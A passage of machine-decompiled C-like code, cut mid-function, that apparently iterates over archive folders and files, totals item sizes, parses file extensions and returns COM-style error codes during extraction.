																		_t1232 =  *( *((intOrPtr*)(_t1445 + 0x1a4)) + _t1774);
																		 *(_t1785 - 0x18) = _t1589;
																		if(_t1589 <= 0) {
																			L146:
																			_t1235 = E00430EFB( *((intOrPtr*)(_t1785 - 0x2b0)), _t1785, _t1445,  *( *((intOrPtr*)(_t1445 + 0x1a4)) + _t1774), _t1785 - 0xe8,  *(_t1785 + 0x20));
																			__eflags = _t1235;
																			 *(_t1785 + 0x14) = _t1235;
																			if(_t1235 != 0) {
																				 *(_t1785 - 4) = 0x14;
																				E00408604(_t1785 - 0xe8);
																				_t1237 =  *(_t1785 - 0x64);
																				 *(_t1785 - 4) = 0x13;
																				__eflags = _t1237;
																				if(_t1237 != 0) {
																					 *((intOrPtr*)( *_t1237 + 8))(_t1237);
																				}
																				_t1238 =  *(_t1785 + 0x20);
																				 *(_t1785 - 4) = 0x11;
																				__eflags = _t1238;
																				if(_t1238 != 0) {
																					 *((intOrPtr*)( *_t1238 + 8))(_t1238);
																				}
																				 *(_t1785 - 4) = 0xf;
																				L00423D3B(_t1785 - 0x1d4);
																				 *(_t1785 - 4) = 0xe;
																				E00428A47(_t1785 - 0x4cc);
																				 *(_t1785 - 4) = 5;
																				E00428510(_t1785 - 0x1b4, __eflags);
																				 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																				 *(_t1785 - 4) = 0x16;
																				E0040862D();
																				 *(_t1785 - 4) = 4;
																				E00408604(_t1785 - 0x4c);
																				 *(_t1785 - 4) = 3;
																				L0043353F(_t1785 - 0x2cc, __eflags);
																				__eflags = _t1746;
																				 *(_t1785 - 4) = 1;
																				if(_t1746 != 0) {
																					 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																				}
																				_t1765 =  *(_t1785 + 0x14);
																				goto L285;
																			}
																			_t1249 =  *(_t1785 + 0x20);
																			__eflags = _t1249;
																			if(_t1249 != 0) {
																				 *((intOrPtr*)( *_t1249 + 8))(_t1249);
																				_t420 = _t1785 + 0x20;
																				 *_t420 =  *(_t1785 + 0x20) & 0x00000000;
																				__eflags =  *_t420;
																			}
																			E0040C9B4(_t1785 - 0x2b4,  *((intOrPtr*)(_t1785 - 0x98)));
																			_t1601 =  *((intOrPtr*)(_t1445 + 0x17c));
																			 *(_t1785 - 0x298) =  *( *((intOrPtr*)(_t1445 + 0x48)) + _t1774);
																			_t1254 =  *((intOrPtr*)(_t1445 + 0x190)) + _t1774;
																			 *(_t1785 + 0x14) = _t1254;
																			_t1255 =  *_t1254;
																			_t1730 =  *((intOrPtr*)(_t1601 + _t1255 * 8)) +  *((intOrPtr*)(_t1445 + 0x148));
																			asm("adc eax, [ebx+0x14c]");
																			 *(_t1785 - 0x2a4) = _t1730;
																			 *((intOrPtr*)(_t1785 - 0x2a0)) =  *((intOrPtr*)(_t1601 + 4 + _t1255 * 8));
																			 *((intOrPtr*)(_t1785 - 0x29c)) =  *((intOrPtr*)(_t1445 + 0xc)) +  *( *(_t1785 + 0x14)) * 8;
																			L0040FBD7(_t1785 - 0x2cc);
																			 *(_t1785 + 0x14) =  *( *((intOrPtr*)(_t1785 + 0x10)) + 8);
																			E0042DB56(_t1785 - 0x34c);
																			_push(_t1746);
																			_push( *((intOrPtr*)(_t1785 + 0x10)));
																			 *(_t1785 - 4) = 0x17;
																			_push( *( *((intOrPtr*)(_t1785 + 0xc)) + 0x50));
																			_push(_t1785 - 0x34c);
																			_push(_t1785 - 0x34);
																			_push(0);
																			_push( *(_t1785 - 0x64));
																			_t1268 = L004279E7(_t1785 - 0x4cc, _t1730, __eflags);
																			__eflags = _t1268;
																			 *(_t1785 - 0x18) = _t1268;
																			if(__eflags != 0) {
																				 *(_t1785 - 4) = 0x15;
																				L0042B864(_t1785 - 0x34c, __eflags);
																				 *(_t1785 - 4) = 0x14;
																				E00408604(_t1785 - 0xe8);
																				_t1271 =  *(_t1785 - 0x64);
																				 *(_t1785 - 4) = 0x13;
																				__eflags = _t1271;
																				if(_t1271 != 0) {
																					 *((intOrPtr*)( *_t1271 + 8))(_t1271);
																				}
																				_t1272 =  *(_t1785 + 0x20);
																				 *(_t1785 - 4) = 0x11;
																				__eflags = _t1272;
																				if(_t1272 != 0) {
																					 *((intOrPtr*)( *_t1272 + 8))(_t1272);
																				}
																				 *(_t1785 - 4) = 0xf;
																				L00423D3B(_t1785 - 0x1d4);
																				 *(_t1785 - 4) = 0xe;
																				E00428A47(_t1785 - 0x4cc);
																				 *(_t1785 - 4) = 5;
																				E00428510(_t1785 - 0x1b4, __eflags);
																				 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																				 *(_t1785 - 4) = 0x18;
																				E0040862D();
																				 *(_t1785 - 4) = 4;
																				E00408604(_t1785 - 0x4c);
																				 *(_t1785 - 4) = 3;
																				L0043353F(_t1785 - 0x2cc, __eflags);
																				__eflags = _t1746;
																				 *(_t1785 - 4) = 1;
																				if(_t1746 != 0) {
																					 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																				}
																				_t1765 =  *(_t1785 - 0x18);
																				goto L285;
																			} else {
																				L00467AC0( *((intOrPtr*)(_t1785 - 0x2c4)));
																				__eflags =  *(_t1785 - 0x2b8);
																				if(__eflags != 0) {
																					_t1765 =  *(_t1785 - 0x2b8);
																					 *(_t1785 - 4) = 0x15;
																					L0042B864(_t1785 - 0x34c, __eflags);
																					 *(_t1785 - 4) = 0x14;
																					E00408604(_t1785 - 0xe8);
																					_t1286 =  *(_t1785 - 0x64);
																					 *(_t1785 - 4) = 0x13;
																					__eflags = _t1286;
																					if(_t1286 != 0) {
																						 *((intOrPtr*)( *_t1286 + 8))(_t1286);
																					}
																					_t1287 =  *(_t1785 + 0x20);
																					 *(_t1785 - 4) = 0x11;
																					__eflags = _t1287;
																					if(_t1287 != 0) {
																						 *((intOrPtr*)( *_t1287 + 8))(_t1287);
																					}
																					 *(_t1785 - 4) = 0xf;
																					L00423D3B(_t1785 - 0x1d4);
																					 *(_t1785 - 4) = 0xe;
																					E00428A47(_t1785 - 0x4cc);
																					 *(_t1785 - 4) = 5;
																					E00428510(_t1785 - 0x1b4, __eflags);
																					 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																					 *(_t1785 - 4) = 0x19;
																					E0040862D();
																					 *(_t1785 - 4) = 4;
																					E00408604(_t1785 - 0x4c);
																					goto L255;
																				}
																				_t1627 =  *((intOrPtr*)(_t1785 + 0x10));
																				_t1298 =  *(_t1785 + 0x14);
																				__eflags = _t1298 -  *((intOrPtr*)(_t1627 + 8));
																				if(_t1298 >=  *((intOrPtr*)(_t1627 + 8))) {
																					L154:
																					 *((intOrPtr*)(_t1746 + 0x20)) =  *((intOrPtr*)(_t1746 + 0x20)) + E00429826(_t1785 - 0x34c);
																					_push(_t1785 - 0x34c);
																					_t1301 =  *((intOrPtr*)(_t1785 + 0x10));
																					asm("adc [edi+0x24], edx");
																					_t478 = _t1301 + 0x3c; // 0x3c
																					E0042F063(_t478);
																					 *(_t1785 - 4) = 0x15;
																					L0042B864(_t1785 - 0x34c, __eflags);
																					 *(_t1785 - 4) = 0x14;
																					E00408604(_t1785 - 0xe8);
																					_t1305 =  *(_t1785 - 0x64);
																					 *(_t1785 - 4) = 0x13;
																					__eflags = _t1305;
																					if(_t1305 != 0) {
																						 *((intOrPtr*)( *_t1305 + 8))(_t1305);
																					}
																					_t1306 =  *(_t1785 + 0x20);
																					 *(_t1785 - 4) = 0x11;
																					__eflags = _t1306;
																					if(_t1306 != 0) {
																						 *((intOrPtr*)( *_t1306 + 8))(_t1306);
																					}
																					 *(_t1785 - 4) = 0xf;
																					L00423D3B(_t1785 - 0x1d4);
																					L159:
																					_t494 =  *((intOrPtr*)(_t1785 + 0x10)) + 0x50; // 0x50
																					E00415C6D(_t494,  *((intOrPtr*)( *(_t1785 - 0x38) + 8)));
																					 *(_t1785 + 0x14) =  *(_t1785 + 0x14) & 0x00000000;
																					_t1312 =  *(_t1774 +  *((intOrPtr*)(_t1445 + 0x5c)));
																					_t1775 =  *( *((intOrPtr*)(_t1445 + 0x1a4)) + _t1774);
																					__eflags = _t1312;
																					 *(_t1785 - 0x38) = _t1312;
																					if(_t1312 <= 0) {
																						L167:
																						 *(_t1785 - 0x24) =  *(_t1785 - 0x24) + 1;
																						 *(_t1785 - 0x1c) =  *(_t1785 - 0x1c) + 0xc;
																						__eflags =  *(_t1785 - 0x24) -  *(_t1785 - 0xac);
																						if( *(_t1785 - 0x24) <  *(_t1785 - 0xac)) {
																							_t1212 =  *(_t1785 - 0x1c);
																							continue;
																						}
																						goto L168;
																					} else {
																						goto L160;
																					}
																					do {
																						L160:
																						E0042EAC2(_t1785 - 0x178);
																						 *(_t1785 - 4) = 0x1a;
																						E004308F5(_t1445, _t1775, _t1785 - 0x178, _t1785 - 0x1fc);
																						__eflags =  *((char*)(_t1785 - 0x15c));
																						if( *((char*)(_t1785 - 0x15c)) != 0) {
																							 *(_t1785 + 0x14) =  *(_t1785 + 0x14) + 1;
																							_t1321 =  *( *((intOrPtr*)(_t1785 - 0xc8)) + _t1775 * 4);
																							__eflags = _t1321;
																							if(_t1321 >= 0) {
																								_t1322 =  *( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) + _t1321 * 4);
																								 *(_t1785 - 0x18) = _t1322;
																								__eflags =  *((char*)(_t1322 + 0x38));
																								if( *((char*)(_t1322 + 0x38)) == 0) {
																									__eflags =  *((char*)(_t1322 + 0x39));
																									if( *((char*)(_t1322 + 0x39)) != 0) {
																										E0042EAC2(_t1785 - 0x158);
																										_push(_t1785 - 0x1fc);
																										_t1730 = _t1785 - 0x158;
																										 *(_t1785 - 4) = 0x1b;
																										E0043327A( *(_t1785 - 0x18), _t1730);
																										 *(_t1785 - 0x158) =  *((intOrPtr*)(_t1785 - 0x178));
																										 *((intOrPtr*)(_t1785 - 0x154)) =  *((intOrPtr*)(_t1785 - 0x174));
																										 *((intOrPtr*)(_t1785 - 0x14c)) =  *((intOrPtr*)(_t1785 - 0x16c));
																										 *((char*)(_t1785 - 0x13a)) =  *((intOrPtr*)(_t1785 - 0x15a));
																										 *((char*)(_t1785 - 0x13c)) =  *((intOrPtr*)(_t1785 - 0x15c));
																										E00430A06(_t1785 - 0x178, _t1785 - 0x158);
																										 *(_t1785 - 4) = 0x1a;
																										L00407A18( *((intOrPtr*)(_t1785 - 0x148)));
																									}
																									_push(_t1785 - 0x1fc);
																									_push(_t1785 - 0x178);
																									E00430A4F( *((intOrPtr*)(_t1785 + 0x10)));
																								}
																							}
																						}
																						 *(_t1785 - 4) = 0xf;
																						L00407A18( *((intOrPtr*)(_t1785 - 0x168)));
																						_t1775 = _t1775 + 1;
																						__eflags =  *(_t1785 + 0x14) -  *(_t1785 - 0x38);
																					} while ( *(_t1785 + 0x14) <  *(_t1785 - 0x38));
																					goto L167;
																				} else {
																					goto L152;
																				}
																				do {
																					L152:
																					_t1730 =  *( *((intOrPtr*)(_t1627 + 0xc)) + _t1298 * 8);
																					 *((intOrPtr*)(_t1746 + 0x28)) =  *((intOrPtr*)(_t1746 + 0x28)) + _t1730;
																					asm("adc [edi+0x2c], ecx");
																					_t1627 =  *((intOrPtr*)(_t1785 + 0x10));
																					_t1298 = _t1298 + 1;
																					__eflags = _t1298 -  *((intOrPtr*)(_t1627 + 8));
																				} while (_t1298 <  *((intOrPtr*)(_t1627 + 8)));
																				 *(_t1785 + 0x14) = _t1298;
																				goto L154;
																			}
																		}
																		_t1340 = _t1232 << 2;
																		 *(_t1785 + 0x14) = _t1340;
																		while(1) {
																			 *(_t1785 - 0x5c) =  *(_t1785 - 0x5c) & 0x00000000;
																			_t1651 =  *((intOrPtr*)( *((intOrPtr*)(_t1445 + 0x70)) + _t1340));
																			__eflags =  *((char*)(_t1651 + 0x1c));
																			if( *((char*)(_t1651 + 0x1c)) != 0) {
																				 *(_t1785 - 0x20) =  *(_t1785 - 0x20) + 1;
																				_t1343 =  *(_t1340 +  *((intOrPtr*)(_t1785 - 0xc8)));
																				__eflags = _t1343;
																				if(_t1343 >= 0) {
																					_t1344 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) + _t1343 * 4));
																					__eflags =  *((char*)(_t1344 + 0x38));
																					if( *((char*)(_t1344 + 0x38)) == 0) {
																						 *(_t1785 - 0x5c) = 1;
																					}
																				}
																			}
																			E0043AC2F(_t1785 - 0xe8,  *(_t1785 - 0x5c));
																			 *(_t1785 + 0x14) =  *(_t1785 + 0x14) + 4;
																			__eflags =  *(_t1785 - 0x20) -  *(_t1785 - 0x18);
																			if( *(_t1785 - 0x20) >=  *(_t1785 - 0x18)) {
																				goto L146;
																			}
																			_t1340 =  *(_t1785 + 0x14);
																		}
																		goto L146;
																	}
																	_t1345 = E00429872(_t1445, _t1215);
																	_t1657 =  *((intOrPtr*)(_t1445 + 0x17c));
																	 *((intOrPtr*)(_t1785 - 0x104)) = _t1345;
																	_push(_t1746);
																	_push(_t1733);
																	_push(_t1345);
																	 *((intOrPtr*)(_t1785 - 0x100)) = _t1733;
																	_t1347 =  *( *((intOrPtr*)(_t1445 + 0x190)) + _t1774);
																	asm("adc eax, [ebx+0x14c]");
																	_push( *((intOrPtr*)(_t1657 + 4 + _t1347 * 8)));
																	_push( *((intOrPtr*)(_t1657 + _t1347 * 8)) +  *((intOrPtr*)(_t1445 + 0x148)));
																	_t1730 =  *( *((intOrPtr*)(_t1785 + 0xc)) + 0x50);
																	_t1350 = E00432A5E( *((intOrPtr*)(_t1785 - 0x98)), _t1730);
																	__eflags = _t1350;
																	 *(_t1785 + 0x14) = _t1350;
																	if(_t1350 != 0) {
																		 *(_t1785 - 4) = 0xe;
																		E00428A47(_t1785 - 0x4cc);
																		 *(_t1785 - 4) = 5;
																		E00428510(_t1785 - 0x1b4, __eflags);
																		 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																		 *(_t1785 - 4) = 0x10;
																		E0040862D();
																		 *(_t1785 - 4) = 4;
																		E00408604(_t1785 - 0x4c);
																		 *(_t1785 - 4) = 3;
																		L0043353F(_t1785 - 0x2cc, __eflags);
																		__eflags = _t1746;
																		 *(_t1785 - 4) = 1;
																		if(_t1746 != 0) {
																			 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																		}
																		 *(_t1785 - 4) =  *(_t1785 - 4) & 0x00000000;
																		E00408604(_t1785 - 0xb4);
																		 *(_t1785 - 4) =  *(_t1785 - 4) | 0xffffffff;
																		E00408604(_t1785 - 0xd4);
																		_t1076 =  *(_t1785 + 0x14);
																		goto L286;
																	}
																	 *((intOrPtr*)(_t1746 + 0x18)) =  *((intOrPtr*)(_t1746 + 0x18)) +  *((intOrPtr*)(_t1785 - 0x104));
																	asm("adc [edi+0x1c], eax");
																	 *(_t1785 - 0x20) =  *(_t1785 - 0x20) & 0x00000000;
																	_t1363 =  *( *((intOrPtr*)(_t1445 + 0x48)) + _t1774);
																	_t1667 =  *( *((intOrPtr*)(_t1445 + 0x190)) + _t1774);
																	 *(_t1785 - 0x18) = _t1363;
																	__eflags =  *(_t1363 + 0x30);
																	if( *(_t1363 + 0x30) <= 0) {
																		L136:
																		_t1364 =  *((intOrPtr*)(_t1785 + 0x10));
																		_push( *(_t1785 - 0x18));
																		_t366 = _t1364 + 0x3c; // 0x3c
																		E0042F063(_t366);
																		goto L159;
																	}
																	_t1367 = _t1667 << 3;
																	__eflags = _t1367;
																	 *(_t1785 + 0x14) = _t1367;
																	do {
																		L0042389F( *((intOrPtr*)(_t1785 + 0x10)),  *((intOrPtr*)( *(_t1785 + 0x14) +  *((intOrPtr*)(_t1445 + 0xc)))),  *((intOrPtr*)( *(_t1785 + 0x14) +  *((intOrPtr*)(_t1445 + 0xc)) + 4)));
																		 *(_t1785 - 0x20) =  *(_t1785 - 0x20) + 1;
																		_t1371 =  *(_t1785 - 0x18);
																		 *(_t1785 + 0x14) =  *(_t1785 + 0x14) + 8;
																		__eflags =  *(_t1785 - 0x20) -  *((intOrPtr*)(_t1371 + 0x30));
																	} while ( *(_t1785 - 0x20) <  *((intOrPtr*)(_t1371 + 0x30)));
																	goto L136;
																}
																goto L168;
															}
															L225:
															 *(_t1785 - 4) = 0xe;
															E00428A47(_t1785 - 0x4cc);
															 *(_t1785 - 4) = 5;
															E00428510(_t1785 - 0x1b4, __eflags);
															 *(_t1785 - 0x2c) =  *(_t1785 - 0x2c) + 1;
															__eflags =  *(_t1785 - 0x2c) - 4;
														} while ( *(_t1785 - 0x2c) < 4);
														__eflags =  *(_t1785 - 0x24) -  *(_t1785 - 0xac);
														if( *(_t1785 - 0x24) ==  *(_t1785 - 0xac)) {
															 *(_t1785 - 0x7c) = 4;
															 *((intOrPtr*)(_t1785 - 0x88)) = 0;
															 *(_t1785 - 0x84) = 0;
															 *((intOrPtr*)(_t1785 - 0x80)) = 0;
															 *((intOrPtr*)(_t1785 - 0x8c)) = 0x47a668;
															_t1764 =  *((intOrPtr*)(_t1785 + 8));
															 *(_t1785 - 4) = 0x27;
															 *(_t1785 - 0x10) = 0;
															__eflags =  *(_t1764 + 8);
															if( *(_t1764 + 8) <= 0) {
																L277:
																E00419600(_t1785 - 0x8c, _t1730, E00432D40, _t1764);
																 *(_t1785 - 0x10) =  *(_t1785 - 0x10) & 0x00000000;
																__eflags =  *(_t1785 - 0x84);
																if( *(_t1785 - 0x84) <= 0) {
																	L282:
																	 *(_t1785 - 4) = 5;
																	E00408604(_t1785 - 0x8c);
																	E004329D2( *((intOrPtr*)(_t1785 + 0x10)));
																	 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																	 *(_t1785 - 4) = 0x29;
																	E0040862D();
																	 *(_t1785 - 4) = 4;
																	E00408604(_t1785 - 0x4c);
																	 *(_t1785 - 4) = 3;
																	L0043353F(_t1785 - 0x2cc, __eflags);
																	__eflags = _t1746;
																	 *(_t1785 - 4) = 1;
																	if(_t1746 != 0) {
																		 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																	}
																	_t1765 = 0;
																	__eflags = 0;
																	goto L285;
																} else {
																	goto L278;
																}
																do {
																	L278:
																	_t1767 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) +  *( *((intOrPtr*)(_t1785 - 0x80)) +  *(_t1785 - 0x10) * 4) * 4));
																	E0042EAC2(_t1785 - 0x158);
																	__eflags =  *((char*)(_t1767 + 0x39));
																	 *(_t1785 - 4) = 0x28;
																	_push(_t1785 - 0x1fc);
																	if( *((char*)(_t1767 + 0x39)) == 0) {
																		_push(_t1785 - 0x158);
																		_push( *_t1767);
																		E004308F5(_t1445);
																	} else {
																		E0043327A(_t1767, _t1785 - 0x158);
																	}
																	_push(_t1785 - 0x1fc);
																	_push(_t1785 - 0x158);
																	E00430A4F( *((intOrPtr*)(_t1785 + 0x10)));
																	 *(_t1785 - 4) = 0x27;
																	L00407A18( *((intOrPtr*)(_t1785 - 0x148)));
																	 *(_t1785 - 0x10) =  *(_t1785 - 0x10) + 1;
																	__eflags =  *(_t1785 - 0x10) -  *(_t1785 - 0x84);
																} while ( *(_t1785 - 0x10) <  *(_t1785 - 0x84));
																goto L282;
															} else {
																goto L268;
															}
															do {
																L268:
																_t1092 =  *( *((intOrPtr*)(_t1764 + 0xc)) +  *(_t1785 - 0x10) * 4);
																__eflags = _t1092[0xe];
																if(_t1092[0xe] == 0) {
																	_t1093 =  *_t1092;
																	__eflags = _t1093 - 0xffffffff;
																	if(_t1093 == 0xffffffff) {
																		L275:
																		E00415C6D(_t1785 - 0x8c,  *(_t1785 - 0x10));
																		goto L276;
																	}
																	__eflags =  *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t1445 + 0x70)) + _t1093 * 4)) + 0x1c));
																	L274:
																	if(__eflags != 0) {
																		goto L276;
																	}
																	goto L275;
																}
																__eflags = _t1092[0xe];
																if(_t1092[0xe] != 0) {
																	goto L275;
																}
																__eflags = _t1092[0xe];
																if(__eflags != 0) {
																	goto L275;
																}
																goto L274;
																L276:
																 *(_t1785 - 0x10) =  *(_t1785 - 0x10) + 1;
																__eflags =  *(_t1785 - 0x10) -  *(_t1764 + 8);
															} while ( *(_t1785 - 0x10) <  *(_t1764 + 8));
															goto L277;
														}
														 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
														 *(_t1785 - 4) = 0x26;
														E0040862D();
														 *(_t1785 - 4) = 4;
														E00408604(_t1785 - 0x4c);
														 *(_t1785 - 4) = 3;
														L0043353F(_t1785 - 0x2cc, __eflags);
														__eflags = _t1746;
														 *(_t1785 - 4) = 1;
														if(_t1746 != 0) {
															 *((intOrPtr*)( *_t1746 + 8))(_t1746);
														}
														_t1765 = 0x80004005;
														goto L285;
													}
													 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
													 *(_t1785 - 4) = 0xd;
													E0040862D();
													 *(_t1785 - 4) = 4;
													E00408604(_t1785 - 0x4c);
													 *(_t1785 - 4) = 3;
													L0043353F(_t1785 - 0x2cc, __eflags);
													__eflags = _t1746;
													 *(_t1785 - 4) = 1;
													if(_t1746 != 0) {
														 *((intOrPtr*)( *_t1746 + 8))(_t1746);
													}
													_t1765 =  *(_t1785 + 0x14);
													goto L285;
												}
												 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
												 *(_t1785 - 4) = 0xc;
												E0040862D();
												 *(_t1785 - 4) = 4;
												E00408604(_t1785 - 0x4c);
												 *(_t1785 - 4) = 3;
												L0043353F(_t1785 - 0x2cc, __eflags);
												__eflags = _t1746;
												 *(_t1785 - 4) = 1;
												if(_t1746 != 0) {
													 *((intOrPtr*)( *_t1746 + 8))(_t1746);
												}
												_t1765 =  *(_t1785 + 0x14);
												goto L285;
											}
											_push(0x14);
											_t1776 = L004079F2();
											 *(_t1785 - 0x5c) = _t1776;
											__eflags = _t1776;
											 *(_t1785 - 4) = 8;
											if(_t1776 == 0) {
												_t1776 = 0;
												__eflags = 0;
											} else {
												 *_t1776 = 0x47a78c;
												 *(_t1776 + 4) =  *(_t1776 + 4) & 0x00000000;
												_t221 = _t1776 + 8; // 0x8
												L0040351A(_t221);
												 *_t1776 = 0x47b404;
											}
											 *(_t1785 - 4) = 5;
											 *(_t1785 - 0xa0) = _t1776;
											E0040C9B4(_t1785 - 0x294, _t1776);
											_t1391 =  *((intOrPtr*)( *((intOrPtr*)(_t1785 + 0x1c))));
											__eflags =  *((char*)(_t1391 + 0x2c));
											if( *((char*)(_t1391 + 0x2c)) == 0) {
												_t1392 =  *(_t1785 + 0x20);
												__eflags = _t1392;
												if(_t1392 != 0) {
													 *(_t1785 + 0x20) =  *(_t1785 + 0x20) & 0x00000000;
													_t1730 = _t1785 + 0x20;
													 *(_t1785 - 4) = 0xa;
													_t1393 =  *((intOrPtr*)( *_t1392 + 0xc))(_t1392, _t1730);
													__eflags = _t1393;
													_push( *(_t1785 + 0x20));
													 *(_t1785 - 0x5c) = _t1393;
													if(_t1393 == 0) {
														_t255 = _t1776 + 8; // 0x8
														L00403593(_t255);
														 *(_t1785 - 4) = 5;
														__imp__#6( *(_t1785 + 0x20));
														goto L109;
													}
													__imp__#6();
													 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
													 *(_t1785 - 4) = 0xb;
													E0040862D();
													 *(_t1785 - 4) = 4;
													E00408604(_t1785 - 0x4c);
													 *(_t1785 - 4) = 3;
													L0043353F(_t1785 - 0x2cc, __eflags);
													__eflags = _t1746;
													 *(_t1785 - 4) = 1;
													if(_t1746 != 0) {
														 *((intOrPtr*)( *_t1746 + 8))(_t1746);
													}
													_t1765 =  *(_t1785 - 0x5c);
													goto L285;
												}
												 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
												 *(_t1785 - 4) = 9;
												E0040862D();
												 *(_t1785 - 4) = 4;
												E00408604(_t1785 - 0x4c);
												 *(_t1785 - 4) = 3;
												L0043353F(_t1785 - 0x2cc, __eflags);
												__eflags = _t1746;
												 *(_t1785 - 4) = 1;
												if(_t1746 != 0) {
													 *((intOrPtr*)( *_t1746 + 8))(_t1746);
												}
												_t1765 = 0x80004001;
												goto L285;
											} else {
												_t227 = _t1776 + 8; // 0x8
												E00401E26(_t227, _t1391 + 0x30);
												goto L109;
											}
										} else {
											goto L78;
										}
										do {
											L78:
											_t1730 =  *(_t1785 - 0x10);
											_t1409 =  *((intOrPtr*)( *((intOrPtr*)(_t1459 + 0xc)) + _t1730 * 4));
											__eflags =  *((char*)(_t1409 + 0x38));
											if( *((char*)(_t1409 + 0x38)) == 0) {
												goto L93;
											}
											__eflags =  *((char*)(_t1409 + 0x3b));
											if( *((char*)(_t1409 + 0x3b)) != 0) {
												goto L93;
											}
											__eflags =  *((char*)(_t1409 + 0x3a));
											if( *((char*)(_t1409 + 0x3a)) != 0) {
												goto L93;
											}
											_t1730 =  *(_t1409 + 0x20) |  *(_t1409 + 0x24);
											__eflags = _t1730;
											if(_t1730 == 0) {
												goto L93;
											}
											 *(_t1785 - 0x25) =  *(_t1785 - 0x25) & 0x00000000;
											__eflags =  *(_t1785 - 0x11);
											if( *(_t1785 - 0x11) == 0) {
												L92:
												_t1730 =  *(_t1785 - 0x25) & 0x000000ff;
												E00415C6D( *((intOrPtr*)( *((intOrPtr*)(_t1785 - 0x40)) + L0043352C( *((intOrPtr*)(_t1760 + 0x2c)), _t1730) * 4)),  *(_t1785 - 0x10));
												_t1459 =  *((intOrPtr*)(_t1785 + 8));
												goto L93;
											}
											_t1694 = _t1409 + 0x28;
											_t1414 =  *(_t1409 + 0x2c);
											__eflags = _t1414;
											if(_t1414 == 0) {
												goto L92;
											}
											_t1738 =  *_t1694;
											_t1415 = _t1738 + _t1414 * 2 - 2;
											while(1) {
												__eflags =  *_t1415 - 0x2e;
												if( *_t1415 == 0x2e) {
													break;
												}
												__eflags = _t1415 - _t1738;
												if(_t1415 == _t1738) {
													_t1417 = _t1415 | 0xffffffff;
													__eflags = _t1417;
													L90:
													__eflags = _t1417;
													if(_t1417 >= 0) {
														__eflags = _t1417 + 1;
														_t1420 = L004072C9(_t1694, _t1785 - 0x84, _t1417 + 1);
														 *(_t1785 - 4) = 7;
														 *(_t1785 - 0x25) = E00432FD7(_t1420);
														 *(_t1785 - 4) = 5;
														L00407A18( *(_t1785 - 0x84));
													}
													goto L92;
												}
												_t1415 = _t1415;
											}
											_t1417 = _t1415 - _t1738 >> 1;
											goto L90;
											L93:
											 *(_t1785 - 0x10) =  *(_t1785 - 0x10) + 1;
											__eflags =  *(_t1785 - 0x10) -  *(_t1459 + 8);
										} while ( *(_t1785 - 0x10) <  *(_t1459 + 8));
										goto L94;
									}
									__eflags =  *(_t1760 + 0x1c);
									if( *(_t1760 + 0x1c) == 0) {
										goto L77;
									}
									goto L76;
								} else {
									_t1765 = L0040FB53(_t1785 - 0x2cc);
									__eflags = _t1765;
									if(__eflags != 0) {
										L255:
										 *(_t1785 - 4) = 3;
										L0043353F(_t1785 - 0x2cc, __eflags);
										__eflags = _t1746;
										 *(_t1785 - 4) = 1;
										if(_t1746 != 0) {
											 *((intOrPtr*)( *_t1746 + 8))(_t1746);
										}
										goto L285;
									}
									goto L72;
								}
							} else {
								_t1765 = _t1040;
								L285:
								 *(_t1785 - 4) =  *(_t1785 - 4) & 0x00000000;
								E00408604(_t1785 - 0xb4);
								 *(_t1785 - 4) =  *(_t1785 - 4) | 0xffffffff;
								E00408604(_t1785 - 0xd4);
								_t1076 = _t1765;
								L286:
								 *[fs:0x0] =  *((intOrPtr*)(_t1785 - 0xc));
								return _t1076;
							}
						}
						_t1777 =  *((intOrPtr*)(_t1757 + 0xc));
						do {
							_t1428 =  *_t1777;
							if( *((char*)(_t1428 + 0x38)) == 0) {
								goto L54;
							}
							_t1701 =  *(_t1428 + 0x20);
							_t1429 =  *(_t1428 + 0x24);
							 *(_t1785 - 0x54) =  *(_t1785 - 0x54) + _t1701;
							asm("adc [ebp-0x50], eax");
							if( *(_t1785 - 0x70) != 1 ||  *(_t1785 - 0x6c) != 0) {
								 *(_t1785 - 0x34) =  *(_t1785 - 0x34) + _t1701;
								asm("adc [ebp-0x30], eax");
								goto L53;
							} else {
								__eflags = _t1429 -  *(_t1785 - 0x30);
								if(__eflags < 0) {
									L53:
									_t1745 = 0;
									goto L54;
								}
								if(__eflags > 0) {
									L52:
									 *(_t1785 - 0x34) = _t1701;
									 *(_t1785 - 0x30) = _t1429;
									goto L53;
								}
								__eflags = _t1701 -  *(_t1785 - 0x34);
								if(_t1701 <=  *(_t1785 - 0x34)) {
									goto L53;
								}
								goto L52;
							}
							L54:
							 *(_t1785 - 0x10) =  *(_t1785 - 0x10) + 1;
							_t1777 = _t1777 + 4;
						} while ( *(_t1785 - 0x10) < _t1730);
						goto L55;
					}
					E0040867E(_t1785 - 0xd4,  *((intOrPtr*)(_t1445 + 0x6c)));
					_t1751 = 0;
					if( *((intOrPtr*)(_t1445 + 0x6c)) <= 0) {
						L12:
						_t1739 = 0;
						_t1431 = 0;
						if( *(_t1757 + 8) <= 0) {
							L16:
							 *(_t1785 - 0x1c) = _t1739;
							if( *((intOrPtr*)(_t1445 + 0x44)) <= _t1739) {
								L42:
								L00433628(_t1785 - 0xb4, _t1739, E00432B98, _t1445);
								_t1757 =  *((intOrPtr*)(_t1785 + 8));
								_t1745 = 0;
								goto L43;
							} else {
								goto L17;
							}
							do {
								L17:
								_t1434 =  *(_t1785 - 0x1c) << 2;
								_t1739 =  *(_t1434 +  *((intOrPtr*)(_t1445 + 0x5c)));
								 *(_t1785 - 0x2c) = 0;
								_t1706 =  *( *((intOrPtr*)(_t1445 + 0x1a4)) + _t1434);
								 *(_t1785 - 0x24) = 0;
